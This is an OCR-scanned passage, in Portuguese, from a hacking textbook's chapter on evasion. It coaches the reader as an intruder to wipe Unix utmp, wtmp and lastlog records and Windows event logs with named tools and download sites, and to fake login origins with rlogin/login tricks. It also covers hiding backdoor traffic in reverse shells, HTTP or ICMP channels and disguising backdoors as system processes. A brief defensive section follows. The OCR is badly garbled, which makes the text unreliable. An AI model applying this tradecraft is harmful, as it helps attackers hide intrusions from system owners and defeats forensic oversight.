O comando last faz um cnlzamento de informaes entre os arquivos /var/
log/lastlog c /var/log/wtmp c mostrol na tela as iJormaes detalhadas dos
ltimos dias sobre os tempos de login e logout de cada usurio e mesmo de
reboot da mquina. O comando lastlog, por outro lado, mostr.t. quando cada
um dos usurios do sistema logou-se pela ltima vez. Um usurio desativ.ldo
que tenha dado login ontem um evento alarmante.
Pam o 'ldministrador de sistemas, usar os comandos last , lastlog e who parol
verificar o Ivar/log/wtmp uma medida tanto preventiva <:0010 corretiva. Por-
tanto, imperioso para o cracker que quer apagar seus vestgios exclui todas
as menes a ele nesses arquivos. Ento nosso intrpido invasor usa o pico (...)
par.t. editar, por exemplo, o Ivar/log/wtmp e tem uma desagradvel surprcsa:
o arquivo no de texto puro, mas binrio! O mesmo OCOITe com /var/nlll/
ulmp e com /Varl1og/lastlog. Ento, o que fazer? Desespero ...
Confomle dissemos antes, h ferr.unentas automticas para limpeza do utmp,
wtmp e la5tlog. Uma delas (entre muitas) o Hide (www.hoobie.net!securjryJ
exploits/hakingJhide,c). Este pequeno programa apaga as entradas do usurio
que o executou no arquivo utmp, caso esteja liberado para escrita para aquele
usu:rio. Obviamente sistemas modernos no cometem essa tolice e deixam o
llunp liberado apenaS para root, mas uma excelente prova de conceito.
O cdigo-fonte do programa, sendo pequeno, fcil de entender. Obviamente
a esta altura o leitor j deve saber que ter de compilar o programinha para
que ele funcione. Dependendo do sistema, podem ser necessrias algumas alte-
raes. No Conectiva Linux 9, por exemplo, bastou substituir todas as funes
cxit( ) por exit(O). NO[a-se .l que o candidato a hacker deve obrigatoriamente
aprender a programar (ou pelo menos, a ~ s vimr") em C e C++. Se voc no
quer aprender a progmmar, bem, jogue este livro fora : voc no quer, definiti-
vamente, elevar seu nvel tcnico, mas apenas aprender receitinhas de alaquc
simples. Hackers riem de vocs, enquamo isso.
No mesmo site enconu<unos outra femunenta muito f.lmosa, desenvolvida pelo
no menos famoso hacker Simp1e Nomad , chamada (puxa ... ) Remove
(www.hoobic.net/securityLexploits/hackinglrmove.c). Com ela, possvel remo-
ver quaisquer usu,uios de qualquer um dos u-s arquivos lItmp, wtmp e lastIog. Foi
desLl1volvida paraAlX, mas pode ser f.lcilrnmte compibda (como C5t ou com moeU-
fiC'Jcs simpk.os) em qualquer sabor de Unix, induindo linux e {Free,Open,Net}llSD.
Alm de remover os rt:gistfOS referentes a qualquer usurio (e no apenas ao que
executar a ferramenta, como o Hide), o Remove pennite que se altere o ltimo usu
rio que fez login e o local de login (IP, se remoto; tty ou pst, se local).
1343 1
Ataque, defesa e contra-ataque: evaso
I Universidade H4CK3R I
1344 1
Compile e teste os dois programas em sua mquina de testes. Faa vanas
experincias, como aumentar e diminuir o nvel de pennisses dos seus utmp,
wtmp e lastlog e rodar as duas ferramentas. Note que, num ataque real, o inva-
sor nonnalmente precisa de um shell root pard rodar o Remove, embord no
precise, necessariamente, de tantos privilgios para atacar o sistema. Depois
de brincar com esses, procure por outros tipos de ferramentas. Nomes muito
comuns so Cloak, Cloak2 (ou Cloak-2) Zap e LogWEdit. Muitos rootkits pos-
suem ferrdmentas (embutidas ou no) para edio desses arquivos. Veja, por
exemplo, a documentao do Knark e do Irk5. Mas lembre-se: nunca use a pea
redonda no buraco quadrado! Pesquise sobre a ferramenta correta para o Unix
que est sendo atacado.
Caso nenhtuna dessas ferramentas esteja disponvel no momento, alguns tru-
ques podem ajud-lo a pennanecer escondido por algum tempo. Por exemplo,
quando se acessa o sistema por tUna conta provavelmente o acesso
vai ficar gravado no arquivo lastlog, com o IP de conexo ou o nome de domnio
correspondente. Para apagar isso (ao menos no lastlog), uma vez feito o login
com sucesso, rode o comando rlogin na mesma conta. Pronto! Agora, o ltimo
login desta conta ter sido local, e no arquivo lastlog aparecer
Falta enganar o comando who. Uma vez logado no sistema Ce depois de enga-
nar o lastlog .. .), use o comando login e fornea, novamente, o usurio e senha
desta conta. Dependendo do Unix Ce de quanto ele est atualizado .. .), isso es-
conder a origem da conexo, fazendo o comando who pensar que algum
est conectado localmente.
P'dra terminar, procure pelos logs especficos dos servidores e aplicativos
que rodam no computador invadido. Alm dos logs de sistema, procure pelos
do Apache ou do servidor de Ffp Cada sistema e sabor Unix possuem daemons
de verses e procedncias diferentes e com um procedimento diverso de logging.
No vamos discorrer sobre todas as possibilidades aqui, pois lOmaria o espao
de vrios livros como este; mas imperativo que o leitor pesquise sobre isso
no ambiente invadido. justamente por isso que a observao importante,
antes de fazer qualquer coisa.
Como tarefa pard casa, experimente verificar os logs do Apache e do Squid
em sua mquina de testes. Experinlente simplesmente conectar-se a ela a partir
de outra maquina como um usurio regular (por exemplo, faa uma conexo
SSH a ela, use-a como proxy com o Squid ou acesse uma pgina HTML de
testes). Depois, siga todos os paSsoS de invaso vistos nos captulos anteriores,
desde rodar um nmap contra a mquina at realmente conseguir root por
algum mtodo e alter dr alguma coisa. Observe atentamente os arquivos de log
e veja o que acontece.
ltima dica: www.hoobie.net.
Ataque, defesa e contra-ataque: Evaso I
Universidade 3" ano
Registro de eventos no Windows NT/2k/XP
Como vimos no capitulo sobre plataformas Windows, todo o funcionamento
do Windows baseado em eventos. Portamo, nada mais lgico que seus logs
tambm registrem os diversos eventos ocorridos no sistema. Um servio espe-
cial chamado EventLog d conta do recado. E os problemas j comeam por de
mesmo: os logs s so criados se as rotinas de auditoria do Windows estiverem
ativadas. Como nem todos os administradores O fazem, h a um grande furo de
segurana aproveitado por crackers.
Os eventos so registrados em duas etapas. Em primeiro lugar, so armazena-
dos em arquivos temporrios chamados APPLICATION.LOG, SYSTEM.LOG e
SECURlTY.LOG (no Windows XP, esses trs arquivos tornaram dezenas deles
em C:\ WINDOWS oU C:\ WINNn . Depois de algum tempo, tais dados so guar-
dados em trs arquivos defmitivos: SecEvent.Evt, SysEvent.Evt e AppEvent.Evt,
todos guardados em C:\WINDOWS\SYSTEM32. So arquivos binrios, assim
como o utmp do Unix, e portanto necessitam de aplicativos especficos para
serem editados. Cada um deles, respectivamente, registra um conjunto diferen-
te de eventos: segurana (tentativas de login fracassadas ou no, acesso a arqui-
vos no autorizados, etc), funcionamento do sistema (inicializao, terminao
e falhas em servios e drivers) e funcionamento de aplicativos (inicializao,
tenninao e falhas em programas do user space) .
Da mesma forma como no registro, que pode ser consultado e alterado com
o uso do RegEdit, os eventos do sistema podem ser visualizados (mas no alte-
rados) com o Event Viewer. ParJ. acess-Io, clique em Iniciar/Executar e rode o
comando eventvwr. A tela apresentada ser parecida com esta:
Observe: foramos aJ-
gtU1S acessos indesejados _"" r<P
com tun usurio no-pri-
viJegiado e c.k.,x>is anali-
S<lmos os logs em um
WmdowsXP .
ParJ. alterar os logs,
deve-se usar outrJ.s fer-
ramentas, uma vez que
o Event Viewer ape-
nas um visualiza dor.
H algumas dispon-
veis em sites de
hackers, mas preciso
fazer alguma pesquisa


" ,Je ,'iIJ
1O,Je ,'iIJ
" ,Je ,'"




-.
_.-
-.
-- -.
_do_o
-.
--
-.
-.
-- -.
l OVOO
do
_.
-. -... '
-
-... ,
-.
-... '
para tal. O site NT Security (ntsecurity.nu) oferece uma ferramenta chamada
WinZ'lpper, que permite alterar os logs de servidores Windows NT e 2(X)().
1345 I
Ataque. defesa e contra-ataque: Evaso
I Universidade H4CK3R I
13461
Escondendo suas conexes
J discutimos anteriomlente sobre como lOrnar suas conexes indetectvds.
Comeando com os rootkits, que criam um ambiente artificial e so-
bre as comunicaes existentes, passamos por mtodos de embutir as cone-
xes em outras e acabamos por usar tcnicas que permitem, inclusive, comuni-
caes sem conexo. Vamos apenas relembrar algumas das tcnicas vistas, reu-
nidas aqui como uma espcie de
Par .. comear, existem as tcn.icas de La.yer-O vistas no captulo anterior e que
usam sniffing+spoofing para receber comandos na mquina vtima. Adicional-
mente, usam O e campos inteis nos cabealhos TCP/IP para enviar
dados ao hacker a partir do computador invadido. O hacker tem de se posicionar
no meio do fluxo de dados para poder os pacotes sem perder nada,
uma vez que no so destinados fonnalmente a ele.
H dois captulos, vimos como usar o Netcat para um shell com
uma conexo vinda de dentro para fora. Dessa forma, o administrador, mesmo
que verifique a conexo com netstat ou outr .. ferramenta, ver uma inocente
conexo originada de dentro da rede. H ferramentas que vo mais longe e
mascaram essa conexo como se fosse uma requisio HTfp, POr, fTP ou mes-
mo SMTP vinda de dentro. Na mquina do hacker, h um programa que simula
o servidor desejado (HlTP, por excmplo) e manda, travestidos de resposta HTfP,
os comandos a serem executados na vtima. Usar HTrP realmente eficaz e
imoral, pois a porta 80 estar sempre aberta para que usurios internos fa<lm
conexes Web.
H ainda duas maneiras adicionais (entre muitas outras) que deixamos como
trabalho para casa. possvel , em mquinas Unix, um X-terminal
para a mquina do hacker, caso o servidor X esteja rodando e sua porta (nor-
malmente a 6000) esteja aberta e no filtrada. E tambm possvel trocar in-
formaes entre a mquina do hacker e a vtima (seja Windows, Unix, MacinlOsh,
Novell .. .) usando trfego ICMP. Dica: Loki .
A maneira de esconder trfego depende de cada caso. H redes em que a
comunicao via ICMP seria impraticvel, pois o firewall bloqueia esse tipo de
trfego. Mas importante que o hacker que queinl manter um canal seguro de
comunicao com os backdoors de suas presas implemente algum tipo de ca-
muflagem. Hoje em dia, os administnldores no so to despreocupados quan-
to a trfego suspeito como h quatro ou cinco anos.
Uma ltima dica: rode seus backdoofS com nomes do sistema, de forma a
aparecerem como processos comuns. Por exemplo, no Windows um servidor
B02K pode ser renomeado para explorer.exe. No Unix, poderia chamar-se
inetd ou Ipd.
Ataque, defesa e contra-ataque: Evaso I
Universidade 3<1 ano
Defesa e Contra-ataque
Algumas medidas podem ser tomadas para impedir ou, pelo menos, dificul-
tar o t'Abal ho de camuflagem dos hackers maliciosos.
Apagamento de logs
Em primeiro lugar, certifique-se periodicamente de que a auditoria do siste-
ma esteja realmente rodando, e os logs sendo criados. Em mquinas Unix, veri
fique o syslogd; no Windows, o EventLog. H hackers que, em vez de editar os
logs, desligam a auditoria e deixam registros falsos e que no mudam nunca.
Administradores e alguns verificadores de integridade de arquivos
so enganados com essa tcnica simples e grosseira.
Em segundo lugar, verifique se quem tem permisso de escrita ou mesmo
leitura dos logs realmente deveria possuI,1. Apesar de bvio, este cuidado ge-
ralmente deixado de lado mesmo por administradores experientes. Util ize a
poltica da mxima restrio possvel. Nesse caso, sempre, menos mais.
Aplicar criptografia a terceira providncia bvia. Ao contrrio das duas
anteriores, normalmente os logs no so criptografados por padro, com fer-
rAmentas do prprio sistema. Em vez disso, so necessrios progrAmas de ter-
ceiros para a tarefa. Cada sistema operacional possui diversas possibilidades.
Comate seu fornecedor para obter mais informaes.
OutrA maneira muito eficaz (mas no to bvia) de proteger os logs grav
los em mdias apenas de leitura. CD-Rs so especialmente teis nessa hora.
possvel que haja problemas de desempenho no acesso a disco, mas os drives
mais modernos j possuem velocidade aceitvel para a tarefa. O fato que os
hackcrs no conseguiro alterar o log porque isso no fisicamente possvel.
Preparar um servidor especial para armazenar os registros de eventos de
lOdos os outros computadores tambm um artifcio interessante. Isso cria
diversas camadas de dificuldade para o invasor chegar at, ou mesmo saber
onde esto, os verdadeiros arquivos de registro. Novamente, comate seu fome
cedor par.!. conhecc:r as opes de servidores de logging disponveis para seu
sistema operacional.
Um ltimo truque, que no bloqueia, mas retarda o invasor mais habilidoso,
colocar os logs em locais fora do padro e dc:ixar, nos locais-padro, simula-
cros. Em se tratando de kiddies, esse expediente simples criar a impresso
fa lsa de que a barra" , quando na verdade continuam sendo
monitorados.
Camuflagem de conexoes
Para comear, e em consonncia com o que vi mos nos captulos anteriores, o
invasor no deve consegui r, de forma alguma, acesso privilegiado ao sistema.
1347 1
Ataque, defesa e contra-ataque: Evaso
I Universidade H4CK3R I
348 I
Root ou administrador, esse acesso deve ser evitado ao mximo. Portanto, apli-
que as correes do seu fabricante, mantenha senhas difceis, desative servios
no usados, bl bl bl ... A velha frmula de sempre, que deve ser aplicada a
qualquer situao.
Conhea o que voc est rodando. Saiba os processos que podem e os que
no deveriam aparecer na lista de tarefas, bem como as conexes que deveri-
am (ou no) estar estabelecidas. Verifique-os periodicamente, mais de uma vez
por dia em casos de suspeita de ataque e mais de uma vez por hora caso o
ataque tenha sido detectado.
Uma ltima dica: o Snort consegue detectar canais de comunicao baseados
em ICMP Snort x Loki ... jogo interessante.
Uma despedida?2
Bem, chegamos ao final de nossos estudos formais. emocionante v-lo for-
mado e diplomado. M:lS lembre-se que sua educao sobre hackerismo no
termina com o ltimo captulo: veja o que preparamos para voc no CD! Alm
disso, faa todas as experincias do livro e visite todos os sites indicados. E
tambm teste todas <lS ferntmentas sugeridas. Voc ver que so muilO poucas,
se comparJ.do ao que h disponvel. V atrs! Aprender a ser "hacker" (ou como
quer que voc chame) um processo contnuo.
Despedimo-nos aqui (lgrimas nos olhos!) e esperamos que possamos nos
encontrJ.r em breve, em outro curso, talvez.
Mas mantenha contato com seus velhos professores! Mande-nos suas suges-
tes, crticas e colaboraes para este livro. Todos esto convidados a participar.
Escreva mesmo!
Nosso endereo: univh4ck3r@digerati.com.br.
E no esquea de acessar nosso site em www.digerati.com.br!1ivro
Um grande abr"o, e at mais. Happy Hacking!
Z digno de no/a que livro c/legou a/ aqui sem cI/ar nenhuma H"Z A ane da guerra: Sun Tzu No
h publicaio modemil que rlio se ilpro'Veire desse vener.h"d exemplo da lireratura clssica. Os aurores
procuraram fugir do lug:lr..;omum. e porf.:lnto decidiram (contr .. ri'llldo disp:u:Jd:l$ dtO l<x/<l$ os
l:ldos) n.io ulc/uir nenhum trecho do mHenilr compndio. Enrre/alllo, o livro muiro bom e 'ViI1e a pena ser
lido. de graa c on-Une, em JtWwkjmwft cwn><dWi!Cbun
Ataque, defesa e contra-ataque: Evaso I

Você também pode gostar